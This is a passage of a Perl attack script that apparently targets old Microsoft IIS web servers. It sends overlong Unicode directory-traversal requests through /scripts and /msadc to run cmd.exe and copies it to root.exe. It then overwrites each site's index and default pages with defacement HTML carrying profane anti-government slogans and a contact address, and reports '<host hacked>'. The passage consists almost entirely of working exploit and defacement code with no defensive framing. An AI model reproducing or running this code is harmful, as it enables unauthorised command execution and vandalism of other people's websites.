<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
```

```
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
 my @results1=sendraw("GET / HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /f**k USA Government/)
   {
   print "<$host hacked> :-)\n";
   }
  }
exit 0
 }
}

# ---------------test method 11
my @results=sendraw("GET
/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0\r\n\r\n");
foreach $line (@results)
{
 if ($line =~ /Directory/)
 {
  $flag=1;
  my @results1=sendraw("GET
/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+..\\
HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /<DIR>/)
   {
    @a=split(/\ /,$line1);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+copy+\\winnt\\syste
m32\\cmd.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.htm
HTTP/1.0\r\n\r\n");
```

```
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
  my @results2=sendraw("GET
/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+..\\wwwroot\\
HTTP/1.0\r\n\r\n");
  foreach $line2 (@results2)
  {
   if ($line2 =~ /<DIR>/)
   {
    @a=split(/\ /,$line2);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+copy+\\winnt\\syste
m32\\cmd.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.asp
HTTP/1.0\r\n\r\n");
```

```
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
 my @results1=sendraw("GET / HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /f**k USA Government/)
   {
   print "<$host hacked> :-)\n";
   }
  }
exit 0
 }
}

# ---------------test method 12
my @results=sendraw("GET
/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0\r\n\r\n");
foreach $line (@results)
{
 if ($line =~ /Directory/)
 {
  $flag=1;
  my @results1=sendraw("GET
/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+..\\
HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /<DIR>/)
   {
    @a=split(/\ /,$line1);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+copy+\\winnt\\sy
stem32\\cmd.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
```

```
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
  my @results2=sendraw("GET
/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+..\\wwwroot\
\ HTTP/1.0\r\n\r\n");
  foreach $line2 (@results2)
  {
   if ($line2 =~ /<DIR>/)
   {
    @a=split(/\ /,$line2);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%f8%80%80%80%80%af../winnt/system32/cmd.exe?/c+copy+\\winnt\
\system32\\cmd.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
```

```
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
 my @results1=sendraw("GET / HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /f**k USA Government/)
   {
   print "<$host hacked> :-)\n";
   }
  }
exit 0
 }
}

# ---------------test method 13
my @results=sendraw("GET
/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0\r\n\r\n");
foreach $line (@results)
{
 if ($line =~ /Directory/)
 {
  $flag=1;
  my @results1=sendraw("GET
/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+..\\
HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /<DIR>/)
   {
    @a=split(/\ /,$line1);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+copy+\\winnt\
\system32\\cmd.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
```

```
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
  my @results2=sendraw("GET
/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+..\\wwwro
ot\\ HTTP/1.0\r\n\r\n");
  foreach $line2 (@results2)
  {
   if ($line2 =~ /<DIR>/)
   {
    @a=split(/\ /,$line2);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+copy+\\winnt\
\system32\\cmd.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
```

```
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
 my @results1=sendraw("GET / HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /f**k USA Government/)
   {
   print "<$host hacked> :-)\n";
   }
  }
exit 0
 }
}

# ---------------test method 14
my @results=sendraw("GET
/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system3
2/cmd.exe\?/c\+dir HTTP/1.0\r\n\r\n");
foreach $line (@results)
{
 if ($line =~ /Directory/)
 {
  $flag=1;
  my @results1=sendraw("GET
/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system3
2/cmd.exe?/c\+dir+..\\ HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /<DIR>/)
   {
    @a=split(/\ /,$line1);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system3
2/cmd.exe?/c\+copy+\\winnt\\system32\\cmd.exe+root.exe
HTTP/1.0\r\n\r\n");
```

```
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
  my @results2=sendraw("GET
/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system3
2/cmd.exe?/c\+dir+..\\wwwroot\\ HTTP/1.0\r\n\r\n");
  foreach $line2 (@results2)
  {
   if ($line2 =~ /<DIR>/)
   {
    @a=split(/\ /,$line2);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system3
2/cmd.exe?/c\+copy+\\winnt\\system32\\cmd.exe+root.exe
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
```

```
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
 my @results1=sendraw("GET / HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /f**k USA Government/)
   {
   print "<$host hacked> :-)\n";
   }
  }
exit 0
 }
}

}
}


sub sendraw {
        my ($pstr)=@_;
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,$port,$target)){
                my @in;
                select(S);      $|=1;   print $pstr;
                while(<S>){ push @in, $_;}
                select(STDOUT); close(S); return @in;
        } else { die("Can't connect...\n"); }
}
```